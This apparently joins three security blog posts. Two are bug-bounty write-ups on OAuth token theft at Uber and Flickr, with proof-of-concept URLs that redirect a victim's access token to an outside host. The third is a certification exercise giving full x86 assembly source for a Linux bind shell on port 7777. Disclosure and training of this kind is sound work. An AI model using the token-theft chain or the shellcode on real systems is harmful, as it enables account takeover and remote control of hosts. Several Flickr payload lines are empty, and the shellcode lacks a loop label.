[Uber] Login CSRF + Open Redirect -> Account Takeover

Have been hunting Uber bugs for quite a while, and this is my first blog post about Uber bug hunting report, hope you like it.

In response to this tweet and this excellent report, I decided to share one of the most unique issue I found in Uber. OAuth Theft.


This bug is in central.uber.com, it uses oauth as login mechanism, however the CSRF parameter is not used correctly, which allow attacker to take advantage of the misused state parameter to perform open redirect and login CSRF, then steal the access token in URL hash after redirect.


Login Flow of central.uber.com

This report starts with the login flow of central.uber.com, a few months earlier, when user press login in central.uber.com, it goes like this.

  1. https://central.uber.com/login?state=/somewhere
  2. https://login.uber.com/oauth/authorize?response_type=code&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2Fsomewhere
  3. https://central.uber.com/oauth2-callback?state=%2F&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
  4. https://central.uber.com/somewhere

Take some time to read again the login flow, in order to understand this bug, you need to very familiar with the login flow.

When I saw this login flow, my first try to attack this flow is changing the state value from /somewhere to //google.com, to get a potential open redirect, now the flow goes like this.

  1. https://central.uber.com/login?state=//google.com
  2. https://login.uber.com/oauth/authorize?response_type=code&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2F%2fgoogle.com
  3. https://central.uber.com/oauth2-callback?state=%2F%2fgoogle.com&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
  4. //google.com

Wow, I successfully turn this login flow to a open redirect, a very good start for an oauth login flow. Let’s turn this to something more interesting since Uber does not accept open redirect report ūüôĀ

Since the oauth request is using code instead of token, so even with open redirect we cannot steal anything from this flow. So now we change the request from code to token and see what will happen this time.

  1. https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2F%2fgoogle.com
  2. https://central.uber.com/oauth2-callback?state=%2F%2fgoogle.com#access_token=xxxxx
  3. No redirect here ūüôĀ

Because there is no valid code value for https://central.uber.com/oauth2-callback, so that there is no open redirect after step 2. If there is no open redirect, nothing we can do to steal that precious access token. We need a workaround, we need a valid code for that oauth2-callback endpoint.

Login CSRF

It is now the perfect moment for Login CSRF to take advantage in moment like this, since the CSRF parameter state is used as redirect purpose, now we can just simply put our attacker’s own valid oauth code to the endpoint oauth2-callback, and send that to victim, so now victim will correctly redirect to attacker controlled page with the leaked access token.


Only requirement of this bug is that the user is already have an authenticated session in login.uber.com, since central.uber.com is an official oauth client, every uber user will accept whatever central.uber.com requests by default.



PoC Login Flow

  1. https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d{attacker_valid_oauth_code}&state=%2F%2fhackerone.com
  2. https://central.uber.com/oauth2-callback?state=%2F%2fhackerone.com&code={attacker_valid_oauth_code}#access_token={victim_access_token}
  3. //hackerone.com#accesstoken={victim_access_token}

Done! Thanks for reading. Let me know what you think, tweet me @ngalongc


Bounty Awarded: 8000 USD

8.5k Flick Account Takeover Findings [Part 1]

On Apr 5, I had a look on Flickr login flow with Yahoo. Not after long I ran into a Flickr bug that is quite something, it is a one-click attack¬†(no click is required if the payload is embedded in img src) that allow attacker to steal Flickr’s user access token. So I submitted the bug to Yahoo happily, and hopefully I can get a good response from the report.

The next day, Apr 6, Yahoo team replied and told me it was a duplicate, there was someone who submitted the bug before I do. Heart breaking, but that’s normal for a bug hunter, move on, Ron, move on.

On Apr 21, I come across a tweet and found out the duplicate details, you can read it here.

So I checked the fix by Yahoo, and turned out the fix could be bypassed!

To keep the story short, I assume you have read the blog post above. Remember how Yahoo restrict the redirect_uri directory could only be /signin/yahoo?

If you do something like


no access token returned, the directory is difficult to escaped, no more ../

However the payload behind %3f seems quite free to mess with, so I appended a hash behind the URL.


Guess what? The %23 is decoded to be # in the response.

And target .data is appended behind the hash.

This mean, if I can find any open redirect in Flickr, then I can smuggle .data to attacker site.

Open redirect in Flickr is not difficult to find as Yahoo! does not accept Open Redirect as valid report, lucky for me I found one after 5 minutes.

Open Redirect Payload (Fixed now)


The 302 response is


Now we chain them up.

Stage 1 ->


Stage 2 ->


Stage 3 ->


Stage 4 ->



This report alone worth 2.5k from Yahoo!, I could not be more thankful for the reward from Yahoo. Stay tuned for the rest of my 6k finding in Flickr, it is not fixed entirely at this moment, I will update the finding here once its fixed. Hope you like this story.

Takeaway of this story

Always check the fix!

SLAE Assignment 1 – Bind Shell Shell Code

This post is going to walk you through the process to craft a bind port shell code, that execute /bin/bash once its connected in Linux system 32 bit. We are going to craft the shell code entirely in assembly language, syscall play an important role here. As assembly language is almost the lowest possible level programming language that human can use, its not difficult to imagine low level system call is going to be used here. So the plan of the bind shell is as follow.

  1. Initiate a socketcall syscall and get a socket file descriptor in return
  2. Then call a bind syscall
  3. Call listen syscall
  4. Call accept syscall
  5. Call dup to duplicate all 0,1,2 file descriptor to the socket file descriptor
  6. Execute /bin/bash on connect

So below is the full shell code I crafted

; High level explanation

; Step 1, call socketcall, the syscall number is 66
 ; socketcall(int call, *unsigned long args)
 ; alert(!) This socketcall will be used through out this shellcode, every socket related ops is going to be under this socket call

; first we need to call socket to create a socketfd first
 ; the call number for socket is 1
 ; i.e.
 ; socketcall(1, pointer to args for socket)
 ; socketfd = socket(int domain, int type, int protocol)
 ; AF_INET is 2, SOCK_STREAM is 1, protocol is 0
 ; socketfd = socket(2, 1, 0)
 ; eax = socketfd

; Low level implementation
 ; Final state before the socketcall int0x80
 ; eax = 0x66
 ; ebx= 0x00000001
 ; 2, 1, 0
 ; ^
 ; ecx

xor ebx,ebx ; zero out ebx
 mul ebx ; zero out eax also
 push ebx ; push 0 to the stack
 inc ebx ; ebx is 1 now
 push ebx ; push 1 to the stack
 inc ebx ; ebx is 2 now
 push ebx ; stack is 2 ,1, 0 now
 dec ebx; ebx should be 1 to call socket
 mov ecx, esp ; as required by socketcall, the second arguments, which is ecx, need to point to the argument of the call
 mov al,0x66 ; prepare syscall of socketcall
 int 0x80 ; called, and the socketfd is returned in eax, eax = socket(2,1,0), socketfd = (AF_INET, SOCK_STREAM, protocol)

 ; High Level implementation
 ; Step 2, call the bind, bind is 2, so ebx is 2 in final state
 ; int bind(int sockfd, const struct sockaddr *addr[sin_family, sin_port, sin_addr] , socklen_t addrlen)
 ; bind(socketfd, pointer to the structure, length of structure)
 ; socketcall(2, pointer to bind's arguments)
 ; Low level implementation
 ; Final State before the socketcall 0x80
 ; ebx is 2 
 ; socketfd, pointer to the structure, length of structure
 ; ^
 ; ecx

; structure here is bind(socketfd, *[2,24862,0],16), you may notice, we only used 8 byte here, why would we specify the length of structure to be 16 here, it is because by definition, the structure should always be 16 bytes

 ; prepare the structure

xor esi,esi ; zero out esi
 inc ebx ; ebx is 2 now
 push esi ; push sin_addr 0 to stack
 push word 0x611e ; network bypte 24862 is port 7777, mind the word used here, rmb is word, not byte nor dword
 push word bx ; ebx is 2, push 2 to stack, because sin_family is 2 AF_INET, mind the word used here, rmb is word, not byte nor dword
 mov edx, esp ; edx is now the pointer of the structure_addr

; So now we have a beautiful structure, which look like this
 ; [2,24862,0] -> which is exactly 16 byte

 ; prepare the list of args of ecx

push byte 0x10 ; push the addrlen to stack , not sure what will happen if push word 0x10 or push dword 0x10

push edx ; now edx (addr of the structure) is pushed on stack also

push eax ; the socketfd is still inside eax, so we are pushing the socketfd to the first of args
 xchg esi,eax ; store socketfd to esi
 mov ecx,esp ; second args, ecx, is now pointing the the beginning of the list of args

mov al,0x66
 int 0x80

; now we call the listen function
 ; listen(int sockfd, int backlog)
 ; listen is number 4
 ; listen(socketfd, 0)

xor edi, edi ; use edi as zero byte
 add ebx,0x2 ; ebx is 4 now
 push edi ; push 0 on the stack, as backlog
 push esi ; esi is storing socketfd
 mov ecx, esp

; Alert!! because eax is overwritten everytime, which mean we have to make eax to be 0x66 every time
 mov eax,edi
 mov al,0x66
 int 0x80

; now we call the accept function
 ; accept is number 5
 ; accept is int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
 ; accept(socketfd, 0,0)

inc ebx ; ebx is now 5
 push edi ; push 0
 push edi ; push 0
 push esi ; push socketfd
 mov ecx,esp ; ecx is now pointing the the args

mov eax,edi
 mov al,0x66
 int 0x80

; now we duplication all of the stdin, stdout, stderr to the client filedescriptor
 ; int dup2(int oldfd, int newfd)
 ; in this case, because the file descriptor is returned from accept function, which is stored in eax
 ; clientfd = accept(sockfd,sockadd,socklen(
 ; so we are going to do dup2(clientfd,0)
 ; dup2(clientfd,1)
 ; dup2(clientfd,2)
 ; dup2 is number 63 = dup2()

xchg eax,ebx ; store the clientfd to ebx, and ebx is 5 right?
 mov ecx,eax ; make ecx is 5 also, we will copy filedescriptor from 5,4,3,2,1,0 to clientfd

 mov al,0x3f ; prepare eax for the syscall dup2
 int 0x80;
 dec ecx ; dec ecx one for each loop
 jns loop; look until newfd is 0

; finally we prepare the shellcode for /bin/sh
 ; execve syscall is 0x0b
 ; //bin/sh

; PUSH ////bin/bash (12) 
 push edi ; push 0, in order to end the string

push 0x68736162
 push 0x2f6e6962
 push 0x2f2f2f2f

mov ebx,esp ; first args/ebx is pointing the the filename
 push edi ; zero byte, prepare for envp
 mov edx,esp ; pointer to 00000000 is stored in edx
 push ebx ; pointer to the filename is now on the list
 mov ecx, esp ; pointint to the beginning of the args

mov al,0x0b; execve syscall
 int 0x80;

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student-ID: SLAE-841